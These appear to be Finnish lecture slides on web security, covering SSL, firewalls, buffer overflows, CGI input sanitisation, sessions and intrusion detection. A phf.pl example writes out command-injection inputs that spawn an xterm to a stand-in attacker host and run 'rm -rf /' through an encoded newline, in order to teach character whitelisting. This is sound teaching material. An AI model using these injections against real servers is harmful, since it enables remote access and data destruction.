WWW:n tietoturva
Tietoturvan perusteet
Tietoturvan peruskäsitteet Tietojen muuttamattomuus eheys, integrity Tietojen salaisuus luottamuksellisuus, confidentality Mahdollisuus käyttää omia tietoja käytettävyys eli saatavuus, availability Tapahtumien todistettavuus kiistämättömyys, non-repudiation
Tietoturvan tavoitteet Tietoturvallisuus on kustannustekijä, jolla pyritään välttämään suurempia kustannuksia Tietoturvan perusta on turvasuunnittelussa Tekniset ratkaisut suhteutettava muuhun turvaan Rikollinen ylittää aidan matalimmasta kohdasta Turvasuunnittelun lähtökohta: Mitä meillä on? Mitä uhkia siihen kohdistuu? Miten ne torjutaan tai otetaan vastaan? Uhkia on katsottava hyökkääjän, ei puolustautujan kannalta
Kokemuksia tietoturvasta Rikolliset seuraavat rahaa WWW-palveluiden taloudellisen merkityksen kasvaessa, niiden houkuttelevuus kasvaa Rikollisen tavoitteena on viedä jotain niin, että sitä ei huomata Sisäiset, omasta henkilöstöstä lähtevät uhat ovat suurin vahingonaiheuttaja Palomuuri ei suojaa verkon sisällä Realistisesti kuviteltavissa olevat tekniset uhat tullaan tuotteistamaan helppokäyttöisiksi ohjelmatuotteiksi Salakuuntelu Ohjelmistoaukkojen etsiminen Tietomurrot Uusien viruksien luominen
Internetin tietoturva Internet ei takaa minkäänlaista tietoturvaa Perusprotokollien salakuuntelu on helppoa IP-osoitteiden, sähköpostin ym. väärentäminen on mahdollista IP-pakettien ja sähköpostin reitti verkossa satunnainen ja mahdollisesti altis erilaisille hyökkäyksille kuten sisällön muuttaminen (esim. man-in-the-middle - hyökkäys) yhteyden kaappaaminen Yleisesti käytetyissä ohjelmissa on turvallisuusaukkoja
WWW:n turvaongelmat WWW-liikenne ei ole normaalisti salattua Palvelimen omistajasta tai haltijasta ei voi varmistua Mahdollisesti väärää tietoa Mahdollisesti kerätään tietoa väärillä perusteilla Mahdollisesti hyökkääjä esiintyy palvelimena ja ottaa varsinaiseen palvelimeen yhteyttä käyttäjän tunnuksilla Palvelinohjelmistoissa on ollut turva-aukkoja Mahdollistavat tunkeutumisen palvelimeen, tiedon muuttamisen ja varastamisen Selainkin on mahdollista ottaa haltuun Murtaa työaseman turvan ActiveX, Java ja JavaScript-teknologioissa on ollut aukkoja
Muita turvaongelmia Erilaiset palvelunestohyökkäykset ovat mahdollisia Salakuunnellun viestin voi lähettää uudestaan, vaikka se olisi salattu ja allekirjoitettu Avattuja ja tunnistettuja yhteyksiä on mahdollista kaapata Väärä palvelin voi avata yhteyden oikeaan palvelimeen Mahdollistaa pankkitilin tyhjentämisen Man in the middle -hyökkäys
Käyttäjään kohdistuvat tietoturvauhat Tietojen joutuminen ulkopuolisten käsiin Petollinen WWW-palvelu Etenkin luottokorttien numerot Salakuuntelu Tietojen ryöstäminen kauppapaikasta Aiheettomat laskut, tilaukset ja toimitukset Toimintahäiriöt organisaation prosesseihin Internetin toiminta ei ole yhtä varmistettua kuin puhelimen Yksityishenkilön tietosuoja Murtuu jo pelkästään käyttäjälokeja yhdistelemällä
WWW-käyttäjän tietoturva
Aktiiviset komponentit Aktiivinen komponentti on ohjelma, joka haetaan WWWpalvelimesta ja suoritetaan käyttäjän selaimessa (Netscape, Internet Explorer jne.) Eli käyttäjän koneessa suoritetaan ohjelmaa, josta käyttäjä ei tiedä mitään Periaatteessa Java-tulkki sulkee ohjelman sisälleen hiekkalaatikkoon ja estää pääsyn koneen tiedostoihin ja muistiin Käytännön toteutuksista on löydetty ja paikattu aukkoja suojauksista Java-tulkki rajoittaa myös Java-ohjelman tietoliikenneyhteydet vain siihen koneeseen josta ohjelma on haettu Javascipt, Jscript on selaimessa tulkattava ohjelmointikieli, jonka primitiivit (käskyt) ovat rajoitetumpia kuin Javassa Javascriptillä ja Java-kielellä ei ole keskenään mitään yhteistä
Aktiiviset komponentit ActiveX-ohjelmaa ei rajoiteta mitenkään (Windows 95- järjestelmässä) ActiveX-ohjelman ajaminen voidaan sallia tai estää ohjelman varmenteeseen perustuen (tietoturva kaikkien käyttäjien käsissä) Flash on visuaalinen ohjelmointikieli, joka on periaatteessa Javan tapaan kohtuullisen turvallinen, mutta siitä on löydetty myös aukkoja Plug-init ovat ohjelmia, jotka käyttäjä asentaa tietoisesti selaimeen (esim. Flash tarvitsee tällaisen) Muitakin tämäntapaisia komponenttijärjestelmiä on olemassa Java, Javascript ja Flash-ohjelmien julkisesta verkosta lataamisen salliminen sisältää kohtuullisen riskin, ActiveX kohtuuttoman
WWW:n salaus WWW tarjoaa mahdollisuuden SSL-suojaukseen Secure Socket Layer Sisältää WWW-käytön salauksen ja eheyden WWW-palvelin voidaan tunnistaa SSL-varmenteen avulla Käyttäjät on koulutettava tarkistamaan, että salaus on voimassa Mahdollisuus käyttää heikkoa tai vahvaa salausta 40 bittiä pitkään avaimeen perustuva salaus on murrettavissa 128 bitin salaus on käytännössä murtamaton Salaisen avaimen salauksessa avaimen pituus on suhteessa murtamisen vaikeuteen SSL toimii liki kaikilla selaimilla 128 bitin salaus saattaa vaatia päivityksen asennuksen
WWW:n salauksesta varmistuminen SSL tarjoaa tietoliikenteen salauksen ja palvelimen tunnistamisen Salaus on päällä, kun selaimen pieni avaimen tai lukon kuva on kiinni Lisäksi kannattaa opetella katsomaan kuvakkeen takana olevat tiedot varmenteista On olemassa hyökkäyksiä, joilla WWW-yhteys saadaan näyttämään salatulta vaikka se ei ole
Salattu WWW-yhteys URL alkaa HTTPSprotokollannimellä SSL-salaus on päällä
Selaimen varmenteen tiedot Lukkoa näpäyttämällä saa varmenteen luettavaksi
Käyttäjän näkemys tietoturvasta Tietoturva on välttämätön paha, joka haittaa työntekoa Käyttäjät ovat usein päteviä poistamaan työnteon esteet Tietoturvan merkitystä ei arvosteta Käytäntö lepsuu usein nopeasti Käyttäjillä ei aina ole riittävää kompetenssia tietoturvan soveltamiseen Jos intranetin WWW-palvelussa on linkki Internetissä olevaan palvelimeen ja siellä pyydetään käyttäjätunnusta ja salasanaa, kuinka moni käyttäjä antaa oman intranet-tunnuksensa ja - salasanansa? Käyttäjiä on koulutettava ja tietoturvan merkitystä painotettava jatkuvasti Organisaatioissa luotava turvaa tukevat toimintatavat Käyttöliittymät kehitettävä turvaa tukeviksi Käyttäjien turvatietoisuuden korvaaminen teknisillä ratkaisuilla on vaikeaa tai mahdotonta
WWW-palvelimen tietoturva
WWW-palvelimen suojaus Poistetaan turhat palvelut koneesta ja palvelinohjelmistosta Rajataan palomuurilla tai reitittimellä ulkoa päin tulevat yhteydet minimiin Käytännössä sallitaan ainoastaan WWW-liikenne Sähköposti ohjataan eri koneeseen tai välipalvelimen kautta Tarvittaessa rakennetaan syvyyttä puolustukseen Suojautuminen palvelunestohyökkäyksiä vastaan on mahdotonta Ohjelmistopäivityksillä ja palomuurilla voidaan torjua tietyt hyökkäykset
Palomuurit Palomuuri on tietoliikennelaite, joka rajoittaa sen kautta kulkevaa liikennettä siihen asetettujen sääntöjen perusteella Voi toimia pakettitasolla, jolloin se tunnistaa mihin IPosoitteeseen (koneeseen) ja mihin porttiin (palveluun) paketti on matkalla tai tulossa WWW-palvelin voidaan sijoittaa palomuurin taakse, jolloin hyökkääjä ei pääse kiinni koneessa oleviin FTP ja Telnet - palveluihin Voi toimia sovellustasolla, jolloin se pystyy ottamaan kantaa myös siirrettävään sisältöön, esimerkiksi torjumaan virukset ja estämään Active-X -liikenteen Sovellustason palomuuri mielekkäämpi yleensä asiakasorganisaatiossa kuin WWW-palvelimen yhteydessä
WWW-palvelinohjelmisto Palvelinohjelmisto saattaa vuotaa ei-levitettäväksi tarkoitettua tietoa Linkit data-alueelta ulos Ohjelmointivirheet palvelinohjelmissa mahdollistavat murtautumisen Esim. fgets()-funktio mahdollistaa ylivuotojen hyödyntämisen Palvelinta tulisi ajaa minimaalisilla oikeuksilla Oma käyttäjätunnus palvelinohjelmistolle Ei pääkäyttäjän oikeuksilla
Puskurin ylivuoto Puskurin ylivuoto (buffer overflow) on C-kielen ja eräiden muiden ohjelmointikielten ongelma, joka on aiheuttanut paljon tietoturvaseurauksia Toimii siten, että Ohjelma varaa muistialueen ja lukee siihen rivin tekstiä, tarkistamatta rivin pituutta Hyökkääjä kirjoittaa (verkon, tiedoston, sähköpostin) kautta ylipitkän rivin, joka luetaan muuttujan paikkaa seuraavalle muistialueelle Hyökkääjä sijoittaa dataan esim. ohjelmakoodia ja pyrkii saamaan sen suoritettavaksi Hyökkäys torjutaan siten, että muistiin kirjoitettaessa datan määrä rajoitetaan eksplisiittisesti char mybuf[21]; sprintf (mybuf, "%.20s", user_input);
WWW:n interaktiivisten toimintojen aukot WWW-lomakkeen tiedot välitetään palvelimessa olevalle ohjelmalle Ohjelmakoodia ajetaan palvelinkoneessa ylläpitäjän asettamilla oikeuksilla Minimaalisillakin oikeuksilla CGI-ohjelmalla on pääsy kaikkiin (Unix-) koneen tiedostoihin, joita ei ole erikseen suojattu Useita eri ohjelmointikieliä- ja tekniikoita C, Java, Perl, PHP,.asp, valmiit modulit selaimeen jne. Ratkaisut: Vaatimusmäärittely ennen ohjelmointia, mukaalukien turvamäärittely Huolellinen ja turvatietoinen ohjelmointi Interaktiivisten palveluiden toiminnan ymmärtäminen Lomaketta tulkitsevan ohjelman ominaisuuksia rajoittavat työkalut
Käyttäjän syötteen käsittely Systeemikutsut ovat erityinen riski Huonosti kirjoitetussa ohjelmassa käyttäjän syöte välitetään käyttöjärjestelmälle komentorivillä, argumentti voi sisältää rivieroittimen ja käskyjä Käyttäjän syöte kannattaa sanitoida muista kuin luvallisista merkeistä heti ohjelman alussa Vastaava ongelma SQL-kielen kyselyiden kanssa Mahdollistaa pääsyn tietokannan tietoihin ja jopa niiden muuttamisen WWW:n lomakkeiden loogiset aukot Lomake on palvelimen käyttäjälle luovuttama tiedosto Paluutietoihin ei voi luottaa, käyttäjä saattaa editoida lomakkeen kenttiä ja muuttaa niitä
Esimerkki: phf.pl Perl-kielinen moduli lukee käyttäjän antaman hakunimen muuttujaan ja käynnistää hakuohjelman $result = ph $name ; Käyttäjä syöttää: foo; xterm -disp machine.attacker.com & Ratkaisu 1: Filtteröidään komentotulkin tuntemat erottimet pois & ; ( ) < > Mutta rivinvaihtokin on komentoerotin... http://...?foo%0arm%20-rf%20/ Oikea ratkaisu: Listataan sallitut merkit, estetään kaikki muu A-Z, a-z ja 0-9
Pääsyoikeudet WWW:ssä ja istunnon hallinta Käyttäjätunnus ja salasana WWW:n omalla Basic-suojauksella siirretään verkossa salaamatta Syöttämisen jälkeen lähetetään palvelimelle jokaisen haun yhteydessä Tämä ei ole enää merkittävästi käytössä Salasana syötetään lomakkeeseen ja istunto hallitaan Cookieja URL-tietojen avulla Salasana voi olla pysyvä tai kertakäyttöinen Kertakäyttöinen salasana listasta tai laitteelta Salasanan sijaan salausavain voi olla toimikortilla Sovelletaan sähköistä allekirjoitusta Toimikortti ei ole itsessään tunnistusväline vaan melko turvallinen paikka säilyttää salaus- ja allekirjoitusavaimia
...Pääsyoikeudet WWW:ssä ja Cookie istunnon hallinta Selaimeen talletettava informaationpätkä, joka palautetaan pyydettäessä Säilyy sessiosta toiseen Salakuunneltavissa Ei toimi jos käyttäjä vaihtaa konetta Cookiet ja IP-osoitteet voivat helpottaa käyttäjän tunnistusta, mutta niihin ei pidä luottaa liikaa Biometriset järjestelmät (sormenjäljet jne.) Eivät toimi verkkoympäristössä, huijaaminen liian helppoa
WWW-käyttäjän tunnistaminen kolmannen osapuolen avulla PKI-järjestelmää eli varmenteita käytettäessä varmentaja allekirjoittaa käyttäjän salausavaimen Tunnistajalla on oltava varmentajan julkinen avain varmenteen tarkistamiseksi Suomen pankkien TUPAS-järjestelmässä WWW-käyttäjän yhteys ohjataan pankin palvelimelle Pankin järjestelmä tunnistaa käyttäjän käyttäen Internet-pankin kertakäyttöistä salasanaa Pankin palvelin palauttaa tunnistetiedon tunnistusta pyytäneelle järjestelmälle Molemmat järjestelmät ovat kryptografisesti (teoreettisesti) luotettavia Turva on mahdollista vesittää toteuttamalla järjestelmä tai käyttämällä sitä väärin
Palveluestohyökkäykset Näyttävien tai poliittisesti kiinnostavien WWW-palvelimien ongelma Näitä ei pystytä estämään täysin Hyökkäyksen palvelinkonetta kuormittavaa vaikutusta voidaan vähentää sijoittamalla palvelimen eteen WWWkytkin (Level 5 tai Level 7 switch) Tällöin hyökkäys kuormittaa edelleenkin tietoliikenne yhteyttä WWW-palvelu voidaan hajauttaa usealle palvelimelle, jotka sijaitsevat verkkotopologisesti erillään Liikenne ohjataan DNS:n perusteella eri palvelimille Esim. Akamai tarjoaa tätä palveluna
WWW-proxyt ja -cachet Proxy peittää takanaan olevat IP-osoitteet ja DNS-nimet Suuri määrä eri käyttäjiä saman IP-osoitteen takana Yksi käyttäjä usean IP-osoitteen takana Cache häiritsee dokumenttikohtaista laskutusta Palvelin voi kieltää dokumentin cacheamisen Ratkaisuksi esim. cookiet tai uniikki URL SSL-dokumentteja ei cacheta (SSL estää)
Hyökkäyksen tunnistaminen Intrusion Detection Hyökkäys tietoverkon koneisiin voidaan tunnistaa Etsimällä verkon liikenteestä tunnettuja hyökkäyksiä (signatuureja) Seuraamalla verkon liikennettä ja tunnistamalla epänormaali käyttäytyminen Tarkkailemalla palvelimen tiedostoja ja tunnistamalla niiden muuttuminen Heuristisilla analyyseillä systeemikutsuista Käytännössä Nykyiset järjestelmät tunnistavat paljon enemmän vääriä kuin oikeita hyökkäyksiä Stealth-hyökkäysten tunnistaminen on vaikeaa Raporttien tutkimiseen ja analysointiin vaaditaan erikoisosaamista
Aktiiviset toimenpiteet "Hyökkäys on paras puolustus" Hyökkääjään voidaan kohdistaa samat toimenpiteet kuin mitä hänkin käyttää Verkossa on helppoa tehdä valehyökkäys, ts. käyttää väärää osoitetta Vastahyökkäys täyttää yleensä rikoksen tunnusmerkistön Vastahyökkäys ei kannata, enintään voidaan kerätä tietoa hyökkäyksen lähteestä Puolustusta voidaan tiukentaa väliaikaisesti kun ollaan hyökkäyksen kohteena Vahingoinaiheuttaja voi häiritä palvelun toimintaa ylläpitämällä jatkuvaa näennäishyökkäystä Toistaiseksi ei näköpiirissä ole siis hyödyllisiä aktiivisia vastatoimia
Verkkokaupan turva
WWW-palvelun turvasuunnittelu Määritellään palvelun tavoitteet Kartoitetaan riskit Analysoidaan palvelun tietovirrat Tarkastellaan palvelua eri näkökulmista Palveluntarjoaja, käyttäjä, vihamielinen taho
Turvan rakennuspalikat Turvan on oltava kokonaisvaltaista ja moniulotteista Suunnitelma sekä koulutusta, ohjeita, sääntöjä ja tekniikkaa Tekninen turvarajapinta suojaa tietoja teknisiltä uhilta Koneet fyysisesti toimistorakennuksessa Palomuuri rajaa verkosta tulevaa liikennettä Salaus suojaa tietoja matkalla paikasta toiseen Pääsy tietoihin määritellään tunnistamalla käyttäjät Mahdollinen hyökkäys voidaan joskus tunnistaa valvontaohjelmalla Virukset torjutaan virukset tuntevalla ohjelmalla Sopimukset allekirjoitetaan kryptografisesti
Komponenttien kokonaisuus I Uhkat Palomuuri rajoittaa pääsyä SSL-kiihdytin tehostaa WWW-palvelin salausta tarjoaa kauppapaikan Asiakkaiden tiedot ovat erillään tietokannassa IDS-järjestelmä hälyttää kaikesta muusta kuin tietokantaliikenteestä
Verkkokaupan oikea tietoturva Verkkokaupan tavoitteena on tuottaa rahaa lainsäädännön puitteissa Esim. asiakastietojen säilyttäminen erillään edustapalvelimesta on pakollinen vaatimus Kaikkien uhkien torjuminen on kalliimpaa kuin tiettyjen ottaminen vastaan Asiakkaan tunnistamisen ja sähköisen allekirjoituksen sijaan kohtuullinen varmuus tilauksen oikeellisuudesta Pienissä kaupoissa hävikki voidaan kestää Suurissa kaupoissa on taloudellisesti kannattavaa käyttää puhelinta, faxia, kirjallista tilausta, ennakkomaksua jne.
Yhteenveto Kaikkia turvaratkaisuja on mainostettu "lopullisina ratkaisuina" WWW:tä käytetään eri tarkoituksiin, joilla on omat tarpeensa, joihin on valittava oikeat ratkaisut Valittu teknologia ei ole niin tärkeä kuin sen oikea käyttö Turva on kustannuskysymys Mitkä riskit voidaan ottaa vastaan Toteutusprojektit vaativat osaamista ja ymmärrystä, sekä kaupallista, että teknistä
Hyödyllisiä linkkejä WWW:n tietoturva http://www.w3.org/security/ tietosuoja mm.: http://www.w3.org/p3p/ Yleisestä tietokoneiden tietoturvasta http://www.cert.org/ Viestintäviraston CERT-FI toiminta http://www.ficora.fi/suomi/tietoturva/index.htm Internet-standardit, myös kehitteillä olevat http://www.ietf.org/